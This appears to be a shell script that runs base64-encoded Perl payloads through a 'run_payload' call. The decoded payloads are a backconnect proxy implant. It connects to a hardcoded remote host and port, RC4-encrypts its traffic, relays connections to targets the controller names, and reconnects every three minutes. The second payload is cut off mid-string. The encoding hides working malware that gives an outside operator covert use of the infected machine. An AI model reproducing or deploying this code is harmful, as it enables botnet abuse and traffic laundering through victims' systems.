JIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_1.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2Nr